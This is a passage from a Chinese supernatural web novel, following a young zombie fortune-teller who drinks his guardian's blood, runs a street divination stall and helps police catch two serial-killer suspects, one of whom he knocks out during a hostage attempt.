“你付你的,我请我的嘛,又不冲突。”容镜一边说,视线又不动声色地往那蛋糕上瞥了一眼,催他,“你快吃,可好吃了。” 再不吃他就忍不住了。 “我不爱甜的。” 谢长时重新将蛋糕推过去,示意容镜将蛋糕解决掉。 他都这么说了,容镜自然没跟他客气。 将最后一口喂进自己嘴里,他满足地眯起眼睛,然后对谢长时说:“我们明天再去买吧?” 一般情况下,谢长时不会拒绝容镜的要求,今天也是。 他起身,点头:“可以。” 然后将小桌子拉到一侧,催促道:“但现在时间不早了,赶紧刷牙睡觉。” 容镜哦了一声,将纸盒丢进垃圾桶,乖乖走进浴室刷牙。 谢长时看着他的背影拐进浴室,转身也回到了自己的房间。 然而,十分钟后,主卧的大门被敲响。 谢长时抬起眼,见一颗脑袋探了进来。 容镜半趴在门框边上,迎上男人的目光,有点不好意思地问:“我牙齿有点痒,你的肩膀可不可以借我磨一磨牙?” 顿了顿,又小声补充:“如果能再让我喝两口血,就更好了。” 11、第 11 章 011. 谢长时刚从浴室出来。 身上是黑色的丝绸柔软睡衣,还未扣紧的衣服领口微微敞开,露出凹陷的冷白色调锁骨以及修长的脖颈。 泛着潮气的发丝在灯光下微晃,一滴水珠自顶端摇摇欲坠。 在坚持了几秒钟后,终于吧嗒一声淌入了肌肤,洇湿了一点布料。 容镜有些不自在地咽了咽喉咙,觉得小尖牙更痒了,心底的那股吸食欲也如夜间的海水开始翻涌奔腾。 好馋,真的好馋。 仔细一算,他已经整整十二年没磨过牙,喝过血了。 没错过少年充满热切的注视,就像一只饿久了的小猫盯上了一条鱼,眼里的渴求几乎要溢出来。谢长时眼皮微敛,长指拽下沾上水汽的毛巾扔到一旁的柜子上,声音含着几分夜间的低哑,问:“不是刚刚才刷过牙吗?” 不确定他问这个问题是拒绝还是同意,容镜乖乖站在门口并未上前,而是回答:“就是刷牙的时候觉得牙齿好痒。” 然后想着从前他便时常咬着谢长时的肩膀来确认牙齿质量的往事,觉得不止牙齿痒,连心都变得痒意难忍起来。 “需要我脱衣服吗?” 寂静之中,男人问道。 容镜眼睛一亮,又觉得十二年的时间确实有点长,长到谢长时做这种事都生疏了,竟然还要问他脱不脱衣服。 容镜将选择权交给谢长时:“都行都行,反正我都能咬。” 谢长时眉梢微微扬了扬,没再多问,而是说:“过来。” 夜色寂静。 主卧内的灯光并不亮眼,反倒有种昏昏暗暗的模糊感。谢长时靠在落地窗前的深色沙发上,睡衣的纽扣被尽数解开,衣服却并未退下,他半仰着头,绷出紧致修长的颈线。容镜跪坐在他的长裤上,裸露在外的小腿在沙发底色的映衬下胜过霜雪。 好久没进行这项活动,容镜将唇贴到男人的侧颈边上时,竟然罕见地有点紧张。 他能听到自己的心脏正在砰砰砰地急促乱跳。 “怎么还不咬。”喉结滚动,男人的声音听着比先前更加的喑哑低沉。 容镜迟疑一秒,乖乖地实话实说:“我有点紧张。” 谢长时失笑。 他这个被咬的都没觉得紧张,咬人的倒是先不安起来了。 长指扶上容镜的后脑,穿进他乌黑柔软的短发之中,低声催促:“快咬,咬完去休息。” 温热的呼吸落在肌肤上激起了一层层颤栗,谢长时的视线撞入头顶的无主灯,光晕一圈一圈地在他的眼底荡开,多年未亲近而产生的陌生感令他小腹处的肌肤变得无比紧绷冷硬。 先是柔软的唇,再是微凉的小尖牙。 尖牙刺入皮肤,鲜血吮出。 时隔十二年再度尝到熟悉的鲜血味道,容镜整个人都有些晕乎乎的,手掌无意识压上谢长时的腰腹并微微蜷缩,吮吸鲜血的力道不由自主地变大,整个世界好像都开始颠倒转动。 直到他的耳边响起了一道很低的闷哼,像是响铃将沉溺于美梦中的他突然唤醒,他猛地睁开眼睛,眼神从迷离转为清醒。 他稍稍后退,抬起眼眸,毫不意外地瞥见谢长时微绷的脸。 像是察觉到了他的不专心,男人缓缓睁开眼睛,漆黑的眼眸沾上点并不明显的克制,胸膛随着呼吸起伏,几秒的冷静后,谢长时低声问他:“喝饱了?” 容镜其实没觉得饱。 让他敞开肚子喝,他能把谢长时给吸干了。 他伸出舌尖轻轻舔了舔牙印留下的伤口,小声地问他:“是不是咬疼你了?” “还好。” 谢长时倒也不是嘴硬,皮肤被牙齿刺穿的疼在他看来跟被针扎一下其实并没有太大的区别,只是容镜可能不太清楚,每一次被他咬破颈项间的皮肤吮吸时,他浑身的血液都像是被点燃了一样,叫嚣着在血管内奔涌。 这种一种……足以令他浑身颤栗的神奇感觉。 “下次再喝。”容镜早已有所准备地从口袋里掏出创可贴,利用创可贴遮住了显眼的牙印。 但他未从谢长时的身上起来。 牙齿下移,咬在了男人的右肩上。 磨牙和吸血是完全不同的感觉,后者需要用力将牙齿刺入血管之内,前者却只是像只小奶猫似的,一点点地借着皮肤和骨头摩擦,细密的疼痛覆盖整片肩膀,但偶尔也会被少年柔软的舌尖扫过,留下濡湿的温柔。 墙上的挂钟走向十二,容镜脚步漂浮着回到次卧,躺在床上时舌尖舔舔小尖牙,回味鲜血的美味。 倒是一墙之隔的谢长时站在镜子前,看着留下密密麻麻牙印的肩膀,挑了下眉。 回到床上,放在枕头一侧的手机突然叮咚一声。 他垂眸看过去。 是容镜发来的微信。 容镜的微信账号就叫做阿镜,头像是一张搞怪的q版小僵尸动漫图,很可爱。 阿镜:我决定以后好好赚钱。 三更半夜,还是事后,怎么突然冒出这个想法。 谢长时给他发去了一个问号。 阿镜:给你买多多的创可贴。 谢长时:“……” 原来是这样。 … 第二天早上六点左右,容镜便迷迷糊糊地听到隔壁主卧似乎传来了声音。 他困得睁不开眨眼睛,便也没当回事。 谢长时看了眼次卧的大门,转身去楼下晨跑,这是他多年来的习惯。 晨跑过后,回到家里,做了份简单的早餐,他才去次卧将睡得晕乎的小僵尸提起来。 靠在门框边上看容镜无意识地刷牙,谢长时提醒道:“我今天要去公司,你一个人在家,可以吗?” 去公司,一个人在家。 几个关键词赶跑了容镜的瞌睡虫,他睁大眼睛扭头看过来,想了想又摇头:“我今天也要出门。” “有事要办?” 虽然谢长时没想到小僵尸刚到雁城能有什么事。 但没想到容镜一脸正色:“昨天不是说了嘛,要挣钱给你买创可贴。” 谢长时:“……” 原来不是开玩笑的。 容镜不知道谢长时的想法,吐掉嘴里的泡沫,洗了把脸便走到谢长时的身旁开始分享自己的赚钱买创可贴计划:“我决定跟那个姐姐一样去摆摊算卦,虽然一卦五百好像是贵了点,但总有人需要。” “那你想好准备去哪儿摆了吗?” “就昨天的商场那边吧。” 谢长时默了默,其实他并不是很想干预容镜的日常生活,十二年前容镜年纪还小,像只小猫一天到晚等在家里似乎没什么大问题,但如今容镜成年了,他需要有自己的空间、自己的事业。 但在此之前,谢长时将一切可能都告知了容镜:“可能待一天都没有生意上门。” 容镜倒是毫不在意,甚至有点理直气壮:“那我不是已经傍上你了吗?而且你的医药箱里还有好几个创可贴,也不是很着急。” 谢长时失笑:“行,我让宋清给你准备妥当,送你过去。” 容镜嗯嗯点头。 长华街是一条专门开辟出来为诸多生意人摆摊的地方,容镜找了一个角落的位置,将龟壳和铜钱摆上桌,然后坐在小桌后面拍照给谢长时看。 他身侧是一个卖鲜榨橙汁的小摊,店主是个二十五六岁的青年,好奇的目光在龟壳上转了一圈,然后飘到了‘500一卦’的小牌牌上,他想了想,提醒了一句:“你定价太贵了,没人会来找你算卦的。” 然后手指指向斜对面的角落,对容镜道:“那里也有个摊主是搞算命的。” 有同行? 容镜踮了踮脚,伸长脖子看过去。 没看到摊主,但看到了围堵成圈的客人背影。 青年:“他那儿算卦二十一次。” 容镜睁大眼睛:“这么便宜?” 青年点头:“所以你最好也降一下价格。” 然而容镜却只摇了摇头,认真地回答:“降不了。” 一卦五百其实已经很物超所值了。 而且算卦这种事情……强求不得,得看缘分。 虽然没有做出任何改变,但为了感谢青年的好意提醒,容镜掏出手机买了杯大杯的鲜榨果汁,花费18。 晚上八点左右,容镜接到谢长时的电话,快快乐乐地抱起龟壳拐到了停车场,钻入豪车内。 车里不止谢长时,还有坐在副驾驶座位的宋清。 宋特助的视线通过后视镜瞧见容镜兴奋喜悦的脸,便笑着说:“看来容先生今天收获不少。” 容镜直点头:“是啊是啊,喝了三杯鲜榨橙汁,吃了六根淀粉肠,三只碳烤鸡腿,六块小蛋糕,四盒臭豆腐……” 他想了想补充:“还有两个全家福卷饼。” 宋清:“?” 啊?他说的收获是这个收获吗? 而且容镜那么点肚子,怎么吃得下这么多东西的? 宋清还沉浸在震撼之中时,听见了容镜有点遗憾的声音:“就是很可惜,昨天遇到的那个美食主播,柳柳姐姐没有出来摆摊。” 否则他还能再吃好几个蛋糕。 宋清:“……冒昧问一下,您今天辛苦一天的入账金额是——” 容镜掏出手机,看了眼记录,理直气壮:“-402。” 宋清:“……” 不好意思,打扰了。 12、第 12 章 012. 第二天一早。 宋清照例抵达云江湾时,容镜已经兴冲冲地背起包、抱着龟壳准备出门了。 望着少年的背影,宋特助发出由衷的感慨:“容先生真是元气满满,让人羡慕。” 就是不知道今天的入账金额又是负多少。 怀揣着这点好奇,宋清尽职尽责地将人送到了长华街后主动应下了晚上的接送任务,并振振有词:“做事有头有尾,我牢记着谢总当年的教导。” 容镜猜不透人类的坏心思,面对宋特助的‘好意’,嘴甜地说着谢谢,并且热情地分了他一颗糖,丝毫没注意到身旁西装革履的男人半撑着额头似笑非笑的表情。 “那我先走啦,你们路上注意安全,晚上见。” “晚上见,遇到问题随时给我打电话。” “知道啦。” 容镜冲男人挥挥手,转身走向长华街的角落位置。 眼下时间虽还早,但容镜昨日的邻居——鲜榨橙汁的老板已经动作利落地摆好了榨汁机器,戴上手套准备给橙子去皮。听到不远处传来动静,下意识抬头,这一眼便瞧见了黑色库里南车前张扬的欢庆女神像,以及朝着车窗挥手的少年。 莫景同:“……” 事实上昨天他就注意到容镜有点特殊。 他穿得很简单,t恤、短裤,白色球鞋,像极了正在念高中的普通少年。但他背的双肩包实在过于显眼,夸张扎眼的花色骷髅头印在白底上,旁侧是一个人尽皆知的、只骗有钱人的奢侈品logo。 莫景同单纯地认为这个包是a货。 直到此刻,他看到了这辆劳斯莱斯库里南。 ……包能a,车总不能吧?而且看这连号车牌,没点水平怎么也拿不下来。 难怪昨天收入-402,今天还能活力四射地来摆摊。 原来是家底丰厚。 莫景同啃了一口橙子皮,在心底默默流眼泪。 “早呀。”容镜跟他打过招呼,从包里找出湿纸巾,将属于自己的桌子一点一点擦干净。 昨天晚上刮了大风,桌上有不少的落叶和积灰。 然后恭敬地摆上龟壳和铜钱以及五百一卦的小牌牌,扭头看向身侧的青年,夸他,“你来得好早。” 但当视线挪到了青年的脸上时,又委婉提醒:“就是脸色好像有点难看。” 莫景同吐出橙子皮,声音幽幽:“酸的。” 橙子酸,人更酸。 好在没一阵后,长华街上的人流量开始增加,莫景同忙着榨橙汁,将方才那些事甩到了脑后。 容镜看他忙得很,自己的摊位又空无一人,索性上前帮忙,并成功获得了一杯橙汁的奖励。 转眼已是下午四点,莫景同带来的两箱橙子都卖完了,容镜还是一卦未出。 倒是支出已经到达了三位数。 日头已经开始西下,本就不算灼热的阳光开始被云朵层层覆盖,温柔的风吹拂过容镜柔软的短发。 咔嚓一声。 他将喝完的奶茶空盒丢进了垃圾桶。 莫景同给他计数:“这是你今天的第二杯奶茶、第六杯饮料了,你的肚子还好吗?” 他没见过这么能喝的。 生怕容镜喝出点事来。 倒是当事人摸了摸自己的小腹,回答:“除了还有点空,其他都挺好的。” 毕竟,再过两个小时就该吃晚饭了。 莫景同:“……” 无言的沉默之间,一道阴影猝不及防地落在了龟壳之上,挡住垂落的光线。 容镜和莫景同同时抬起头,眼瞳中印出了一张清秀的脸蛋。 是柳柳。 柳柳做梦都没想到能在这里碰见容镜,双手嘭得一声压在桌面上,眼中充满惊喜:“是你,帅哥!” 几枚铜钱在桌面的震动下啪啪晃了晃,沿着纹路咕噜咕噜往下滚,被容镜匆忙接住。 “我……”一时过于激动,柳柳赶紧弯腰说抱歉,随即又匆忙问,“你还记得我吗?两天前的晚上你买走了我做的最后一个抹茶提拉米苏,然后送了我一卦。” 容镜当然不会忘记。 “记得,你做的蛋糕特别好吃。” 换作往常,有人夸赞柳柳的蛋糕味道好,她能高兴得一蹦三尺高。 但今天不一样。 她的心思和情绪都在其他的事情上。 她今天来长华街是来找街头那个算命大师的。 自那天雨夜惊魂以后,她就变得很敏感,晚上睡觉必须检查不下十遍的门窗是否关闭。一闭眼就是当时雨具男阴冷的眼睛,好不容易哄着自己睡着了,梦境却变成了她上前帮助电瓶车车主,结果被浸透了□□的毛巾捂晕、摘下浑身器官的可怕画面。 她仓皇地从梦中醒来,整个人疲惫又无神。 今天下午,她一个人待在卧室里,哪怕将电视机打开,将音乐的声音开到最大,却依旧能听到自己失序的心跳。 再嘈杂的环境也盖不住她内心的慌乱和不安。 就在她不知道该怎么办的时候,她想到了容镜。 或者说,想到了容镜的身份。 ——算命的江湖术士。 容镜是她偶然遇到的顾客,无法联系到人,但长华街这边的大师却不同,一年三百六十五天,对方起码有三百五十五天在长华街街头。 只是柳柳没想到,在找到那位大师之前,她先注意到了那副龟壳。 用于卜卦的兆龟与寻常的龟甲有很明显的不同,龟甲上的纹路清晰,表面光滑,看上去有种跨越了时间的精巧感。 柳柳不由自主地停下了脚步。 再然后,就像是命运的馈赠,她见到了容镜。 柳柳像抓到了救命稻草,迫不及待地传达着锁住自己的困境,因激动而微红的眼眸装满了希冀:“你送我的那一卦应验了,我想找你再算一卦,行吗?” 容镜乌黑的眼眸印出她有些狼狈的模样,看出她的担惊受怕,安抚她:“你别着急,你想算什么都可以。” 但为了不造成事后的争端,白皙长指一点小牌牌:“这是一卦的价格。” 柳柳立马打开手机扫码。 别说是五百了,五千她都能咬咬牙下手。 她舔舔有些干涩的唇,指了指自己:“我想知道,我正在纠结的事情……我该做什么样的决定。” 日头倾斜,橘黄的霞光打在容镜的侧脸,印出他精巧出挑的五官以及认真的神情。少年白皙纤长的手指握着装了铜钱的龟甲轻轻晃动,没一会儿,六枚铜钱平铺在柳柳的眼前。 “巽上艮下,□□。”容镜在柳柳充满迷茫的眼神中,解释卦象所代表的含义,“你心里其实已经有答案了,只是还缺少足够的勇气。至于这个卦象想告诉你的是——只要把握好冒险的度,循序渐进,就会有好结果。” 冒险。 这两个字猝不及防地撞入柳柳的心脏,她呆了几秒后,忍不住呐呐道:“你真神了。” 今天上午,袁思雨给她打了电话,问她愿不愿意当饵将雨夜中的嫌疑人引出来。 摄像头损坏,柳柳没看清楚雨具男的全脸,其他的线索全断,这个案子就这么陷入了瓶颈。但就此罢休并不是靳鸿的作风,他所管辖的城市内藏着两个不法分子,如果不及时将人抓住,那对于雁城的其他人而言,显然是不负责任的。 思考了半夜,靳鸿决定搏一搏。 但对于柳柳一个普通的女孩子而言,这个决定实在是过于大胆。 所以直到现在,她还没有告知靳鸿和袁思雨答案。 只是,如今听到容镜的分析…… 柳柳的心中思绪交错,缓缓吸了一口气。 … 傍晚来临,街道上的人数极速增加。 急促的铃声打断了柳柳的沉思,她下意识点了接通。 不等她开口,袁思雨绷紧的嗓音就先传进了她的耳朵:“柳柳,保持冷静,我有消息要告诉你。” 柳柳一愣,心中涌现不好的预感,她咬了咬嘴唇,握着手机的手指收紧、泛白。 “靳队调了你们小区的监控,发现有一个身高一米八左右、身材魁梧、戴帽子和口罩的男人在你的小三轮边上徘徊了很久。” “柳柳,你是个露脸的美食主播,那晚还骑着显眼的粉色小三轮——” 停顿间,袁思雨轻声说出了那句令柳柳毛骨悚然的话:“不出意外的话,他找到你了。” 而现在,他可能藏在任何一个角落,宛若阴沟里的老鼠,窥探着一切。 13、第 13 章 013. “别紧张。” 在柳柳的脑海一片空白,所有声音都远去的时刻,袁思雨的安抚就像跌落在死水潭中的一颗小石头,溅起涟漪的同时令柳柳回忆起了雨夜那晚,是同样温柔但有力的安抚将她从慌乱之中拉了出来。 袁思雨轻声道:“我们小队的人已经在往你的位置赶去,最多还有五分钟就能到,我们会保证你的安全。” “如果你很害怕,可以尝试着找一个对你而言安全的地方等待我们的队员。” 柳柳张嘴便想问她是否可以往回走,但想到袁思雨所说的,雨具男已经找到她,或许就藏在某个角落窥视她,说不定她此刻通话的内容对方也能听得清清楚楚—— 她咬了咬有些干涩的唇,面露抱怨:“现在才告诉我,好吧,我回去给你买橙汁。” 袁思雨一愣,随即荡起笑容:“好,注意安全。” 柳柳挂断通话,身体一转往回走,很快又回到来了容镜和莫景同的小摊前。莫景同的生意还不错,一些顾客在等橙汁时会往容镜的小摊摊上看两眼,虽然会被五百这个数字吓退,但会和容镜聊一聊天。 “老板,有人找你算卦吗?我没见过你这么年轻的‘大师’,你们这一行是不是跟中医一样,年纪越大越吃香啊。” 一个正在给女朋友买橙汁的男人好奇地询问。 容镜单方面将他划分到‘潜在用户’中,因此对他的态度还算客气,有问必答:“有的,不过我刚来这边摆摊,客人还不是很多。至于后者……不了解我们这行的可能会看年纪,了解的都看门派。” “那你是什么派的?” “玄天观。”容镜解释着,目光不经意扫到走过来的柳柳,没错过她眉目间一闪而过的紧绷之色,心中奇怪对方的反应,但容镜的面上却很若无其事,甚至还主动跟对方打了个招呼,“柳柳姐姐。” 正在压橙子的莫景同也看过来,热情问:“你怎么又回来了?” 柳柳笑了一下,说:“我闺蜜给我打电话说让我带杯橙汁回去。” 莫景同闻言连忙道:“那你可能要等一会。” “没事,我就坐这,弟弟你不介意吧?” 容镜赶紧摆手。 时间在刻意的等待下会走得格外慢,柳柳想要通过玩手机来消磨时间,但实在沉不下心,索性和容镜搭话,顺便跟容镜加了微信。 容镜双手托着下巴懒洋洋地趴在桌面上,视线转动之间,打开了微信,找到柳柳的微信,发送:姐姐,你的左后方一直有人盯着你,你认识吗? 原本已经努力放松下来的脊背瞬间再次紧绷,柳柳借着低头的动作掩饰面色的苍白,随后手指点在屏幕上:是不是一个男人?你可以形容一下他的样子吗? 容镜回复:身高一米八左右,体型魁梧,穿着黑色的外套,脸上戴着口罩。 容镜作为一只小僵尸,敏锐度远远高于普通人类,柳柳一过来,他便注意到对方的视线也跟着停了下来。他假装起身将后背陷入椅子内,然后身体歪斜,以一种虽然诡异但明显是放松状态的姿态把玩手机。 无声无息之间,一张放大的照片发送给了柳柳。 柳柳收到照片看清楚口罩上方的那双充斥着阴沉之色的眼睛时,记忆瞬间被拉回了那天晚上的雨夜。 是他,就是他! 脑海内有声音叫嚣,柳柳忍住因激动和惊慌而颤抖的身体,努力深吸气放松下来,随后手指点了几下屏幕,才将照片转发给袁思雨。 袁思雨正坐在靳鸿的车内,她显得有些焦躁不安,怕柳柳出现意外,也怕那雨具男察觉到不对劲提前跑路。 她皱了皱眉显然想张嘴说什么来缓和一下情绪,但下一秒就听见手机叮咚响了一下,随即一张照片出现在了她的眼前。 与此同时,还有柳柳的信息:袁警官,那天晚上就是他。 袁思雨猛地瞪大眼睛,在她的设想中,队员们需要悄无声息地便衣混迹在长华街寻找与监控视频中体格相似的男性。结果就这么猝不及防的,犯罪嫌疑人的长相送上门了。 她没有任何犹豫,扑到前方的座椅上,将手机递给了靳鸿:“队长,柳柳发来的信息,她说就是这个男的。” 靳鸿并未在监控内看到雨具男的脸,但就这身型……的确和监控中的男人很相似。 他心中微凛,当即道:“快点走。” 车子在几十秒后停下,靳鸿对一干队员使了个眼色,不声不响地融入了人群之内。 袁思雨挽着其中一名男队员的手臂,装作情侣朝着街角的鲜榨橙汁摊位走过去,很快就见到了坐在椅子上和少年说话的柳柳。她的眸光闪了闪,催促同伴去给她买橙汁,然后凑过去,装作好奇地问:“小哥,你这算卦灵不灵啊?” 听到熟悉的声音,柳柳眼底微亮,笑吟吟地主动给袁思雨介绍:“超灵的,我就是在这个帅弟弟这里算得卦——” 话未说完,就听见身后的人群中突兀地发出一声惊叫,她下意识回头,一眼撞入身穿黑色冲锋衣的男人,与照片上的不同的是,对方被几个便衣强行按倒在地,脸皮压着粗糙的地面,因着挣扎而蹭出浓郁的鲜血。 他闷哼着想要挣脱,但靳鸿绝对不会给他机会,利落地掏出手铐将人一锁,便招呼人带走了。 “等等。” 就在所有人都以为事情轻易结束的时候,沙哑的声音取代了惊叫,不知何时出现在容镜身后的男人抬起脸,目光冷冷地盯着朝着他看来的靳鸿以及袁思雨、柳柳几人。 袁思雨像是陡然间意识到了什么,视线猛地往后移,果真见到了一把锋利的匕首正抵在容镜后腰的位置,只要容镜稍稍动一下,匕首的尖端就会划破轻薄的布料,刺入他的皮肤。 可恶。 雨具男的同伙竟也在长华街。 而且见到同伴被抓,不止没有逃,竟然还挟持了人质! 这样的认知令袁思雨的表情变得极为难看,而同样是猜到是怎么回事的柳柳看向容镜时面色苍白如雪。 她怎么也想不到,容镜竟然会被自己牵连进来,而且还遇到了危险。 “你——” 容镜感受着那把小尖刀戳着后腰的触感,有些不自在地扭了扭身体。状似挣扎的动作令男人眉目冷沉下来,手指瞬间箍住了少年的脖子,冷声道:“别动。” 真凶。 容镜眨了下眼睛,声音显得不太开心:“但是你戳得我很痒,而且划破我的衣服了。” 这件t恤虽然看上去很简单,但上了四位数,还是谢长时给他买的。 四舍五入就是谢长时送他的礼物。 “给你三秒钟,你放开我,不然我就揍你了。” “哈?”男人似有些不可思议。 他长这么大,还是第一次见有人被刀抵着竟也能说出这种反威胁的话来。 他觉得离谱,忍不住问:“你是不是没搞清楚状况?现在只要我的刀再往前探一探,别说你的衣服了,你的皮我都能给你扯下来!” 男人显然懒得跟‘脑子有问题’的少年多说废话,看向不远处的靳鸿和强行留于原地的雨具男,威胁道:“放开他,再给我们准备一辆车,否则我现在就杀了……” 他。 最后一个字还未从嘴里蹦出来,一个拳头就先猝不及防地以极其暴力的姿态砸在了他的鼻梁上。 嘭得一声脆响以后,容镜反手扣住那只握着见尖刀的手,狠狠往下一拽,痛呼声响起地刹那,他一弯腰,身后的人就跟垃圾一样从原地飞了出去。 又是一声嘭。 不过这次是一百八十斤的身体哐当落地的声音。 男人被砸得七荤八素,身体各处仿佛都有尖锐的疼痛窜出来随后蔓延到神经末梢。他捂着鼻子,鼻血从指缝中淌出来,血腥味刺激大脑皮层,令他挣扎着起身。 然后,一把椅子从远处飞来,稳稳当当地砸在了他的后脑勺上。 几秒钟的寂静无声以后。 啪。 男人额头着地,扭曲着身体俯趴在地上,没了动静。 柳柳:“……” 袁思雨:“……” 靳鸿:“……” 莫景同:“……” 沉默之中,容镜走到男人的身旁,又将那把椅子拎回了小摊位前。 要不是附近没砖块,丢得就不是椅子了。 还好宋特助给他准备的家伙质量不错,估计还能再砸好几次。 他用湿纸巾将椅子擦了一遍,再用干纸巾擦干,坐回椅子,冲已经彻底呆掉的袁思雨和柳柳道:“看吧,我算的卦很灵的,风山渐卦,小吉,好结果。” 柳柳张了张嘴,无意识地与他对话:“但你当时说要把握好冒险的度。” 容镜眨眨眼:“是让你把握住,不是让我。就他那样的小垃圾,我一个人可以揍十个。” 这还是纯靠拳头敲的。 再加点小僵尸buff,一百个都不在话下。 柳柳:“……” 草。 回过神来的柳柳深深吸一口气。 真想给容镜磕一个。 14、第 14 章 014. 抓捕行动差点出现无法挽回的意外,这令靳鸿等人都有些后怕。 让手下的队员将两位嫌疑人拷起来送回警局,靳鸿走向小摊前,亲自向容镜道了声谢。 而袁思雨在经历这一事之后,看向容镜的眼神愈发火热。 算卦算得准、武力值爆棚、还不动声色地为他们提供了雨具男的照片。 这次的抓捕行动里,容镜起到了绝对重要的作用。 明明看着年纪那么小,没想到这么厉害。 袁思雨示意柳柳往边上挪一挪,分出了半张椅子让她挤下,她的双肘抵在桌面上,双眼晶亮:“小道长,你也给我算一个呗。” 生意上门,容镜当然不会拒绝。 悦耳的收款提示音传来,容镜弯起眼睛,嘴也更甜了,问她:“姐姐你想算什么?” 袁思雨有点不好意思,轻咳了一声道:“姻缘,就算姻缘吧,我最近相亲遇到了一个还算不错的男人,我对他挺有好感的。” 容镜动作利落地拿起兆龟,很快便将铜钱铺开,视线落在上面,指了指:“上乾下巽,风行天下,万物相遇,为天风姤卦,爻辞九二。”1 袁思雨听得晕晕乎乎,仿佛回到了高中上数学课的时候,连忙问:“这是什么意思?” “意思就是你对他还不了解的时候——”容镜收起兆龟,看向她的眼睛,“对他要保持警惕。” 保持警惕? 作为警察,袁思雨对这四个字可谓相当熟悉。 而且她这个人容易多想,这一刻对相亲对象产生的一些奇奇怪怪的怀疑,瞬间压过好感。 她皱了皱眉,也没多说,只道:“好,我知道了。” 时间不早,算卦也算好了,袁思雨便打算送柳柳回家,走前莫景同将一杯鲜榨的橙汁递了过去,迎上袁思雨疑惑的目光,他耸耸肩膀:“柳柳买的,已经付钱了。” 柳柳闻言笑着点头。 袁思雨见状也没跟人客气,搂着柳柳的肩膀跟两位摊主说再见。 所有的警察都尽数离开,因意外而围堵在此的人群也逐渐散去,只有一部分对容镜投以好奇的目光,拿出手机偷偷地拍照。 莫景同给容镜竖起大拇指,小声地说:“容镜,我掐指一算,你要火了。” 容镜看他摊位上聚集了不少客人,笑眯眯地说:“你也不赖。” 莫景同嘿嘿笑两声,又去忙活了。 夜晚来临,路灯逐渐亮起。 黑色库里南停在街边,驾驶位上的宋清抻着脖子往车窗外看,有些奇怪道:“今天又不是周末,长华街人怎么这么多?” 从库里南身旁路过的大汉耳尖地听到这话,也不觉得尴尬,反倒是非常自来熟地解释:“哥们看来是不知道长华街今天发生了大事啊。” 宋清见他搭话,顿时也好奇起来:“什么大事?” “就半个小时前吧,有两个犯罪嫌疑人跟踪一个女孩子,还用刀挟持了一个人质。” “挟持人质?”宋清的眼瞳猛地睁大,想到长华街内还有一个容镜在,忍不住咽了咽喉咙,着急地发问,“没出什么事吧?” 大汉迟疑了一下:“你问的是人质还是犯罪嫌疑人?” 宋清:“?” 大汉似乎也觉得自己问了一个蠢问题,当即憨憨一笑:“除了犯罪嫌疑人,大家都没事。你是不知道,街角那个算卦的小孩被刀抵着却一点都不慌,一拳头就把那犯罪嫌疑人给揍得找不到东南西北。” 街角、算卦、小孩。 几个关键词全都指向了容镜。 宋清哎呦一声,连忙回头去看谢长时。 谢长时长眉微拧,模样看上去有些担忧,然而推开车门,问的却是:“犯罪嫌疑人死没死?” 宋清:“?” 你关心的怎么是犯罪嫌疑人? 这合理吗? … 今天一整天收获满满,又做了两笔生意,容镜跟在谢长时的身后走回车内时,像一条左右摇晃的小尾巴,写满了喜悦。 “晚上好呀宋特助。” 热情地跟宋清打过招呼,容镜弯腰落座的动作却停顿了一下,然后看向副驾驶的位置,“程璞玉,你也在呀,晚上好。” 程璞玉从座椅上缓缓探出一颗脑袋,露出了黑眼圈浓重的脸,它看上去双眼无神的,整个鬼丧丧的,打招呼的声音都有点飘:“晚上好容镜。” 容镜趴过去扒着座椅,迟疑地问它:“你这是……?” 他只见过人与鬼贴身相处一阵子以后阳气、精气被吸,导致神情恍惚、精神状态下降的。 没想到鬼也会这会这样吗? 他有些狐疑的目光看向了宋清。 难道是宋特助对程璞玉做了什么? 正疑惑着,程璞玉便再次幽幽开口了:“上班上的。” 容镜:“……” 容镜一时有点心疼程璞玉这只小鬼,当初还是特地求来的入职机会呢,没想到才干两天就从风华正茂的小伙子便成了仿佛被吸干精气的瘾.君.子。 他转移话题,问程璞玉:“段姐姐联系你了吗?” 程璞玉摇头。 那看来是凌霄老道还没有消息。 … 第二天上午。 提前收到袁思雨消息的容镜没有去摆摊,而谢长时也推迟了上班时间。 九点左右,袁思雨带着队里的人,扛着红底锦旗和荣誉证书按下了云江湾十六楼的门铃。 在此之前袁思雨没想到容镜竟然住在那么贵的小区,因为毗邻云江,地理位置优越,以及带上了谢氏的名头,卖价极贵,一平达到了六位数的高价。 “没想到小道长你还是个有钱人。”袁思雨一边调侃,一边将东西交给容镜,“这是我们队里给予你的表彰。” 容镜接过证书以后,好奇地翻阅证书的同时解释:“我不是有钱人,我只是傍上有钱人了。” 袁思雨:“……啊?” 真正的有钱人从卧室内走出来,抬手压下少年因睡觉而翘起来的呆毛,语气淡淡:“好好说话。” 随后面向已经呆掉的袁思雨,颔首做自我介绍:“袁警官你好,我是谢长时,阿镜的监护人。” 袁思雨咽了咽喉咙。 这个谢长时是她想的那个谢长时吗? 光看着这长相,这财力,好像……是真的! 她倒吸一口气。 袁思雨还在震惊时,容镜已经开始向谢长时展示怀里的锦旗了,眼睛很亮地对谢长时道:“我们能不能把它挂起来?就挂在我房间,好不好?” 谢长时应一声:“可以。” 他了解容镜的性格,第一次得到锦旗,新鲜感促使他喜欢得不得了。 自然不会煞风景。 主动接过容镜递过来的锦旗,谢长时去了次卧。 他一走,周围的空气似乎都变得轻松了不少,袁思雨瞅了两眼男人的背影,给容镜竖起一个拇指,小声地夸赞:“你监护人长得真的帅。” 随后说起了雨具男的事。 “这俩可是罪行累累的连环杀人犯。” 雨具男本名张埠,二十年前和好友,也就是被容镜一把椅子揍晕的男人,一同开了个屠宰场。 后来的某天夜晚,两人喝了酒在乡间小道撞伤了一个小姑娘,出于不想被人发现而赔钱的心思,两人竟然直接将小姑娘带走,并且残忍地进行了分尸。 这一次的经历像是开启了他们内心的某个开关。 之后的一年内,两人陆续杀了三个年纪都不大的女孩。 但由于时间间隔长,调查条件也受限制,当时的办案人员并未将四件事情联系到一起,自然也没有查清楚真相。 张埠说,当时屠宰场生意变差,他和同伴决定另寻出路,去了其他的城市,因此也没有再敢干那畜生不如的事情。 直到最近,他无意间打开了一个别人分享过来的砍头视频,心底的犯罪因子开始重新活跃。 于是,他趁着雨夜,盯上了柳柳。 “当时靳队就觉得这两人犯罪的手法很老练,恐怕不是第一次做这种事情,没想到还真是。”袁思雨有点唏嘘,拍拍容镜的肩膀,“这次真的谢谢你——” 随后,像是想到了什么,忽而又道:“对了,你有没有兴趣考编制?我们警局有个部门很适合你啊!” 容镜的脑袋里冒出了才上两天班就半死不活的程璞玉,果断摇摇头。 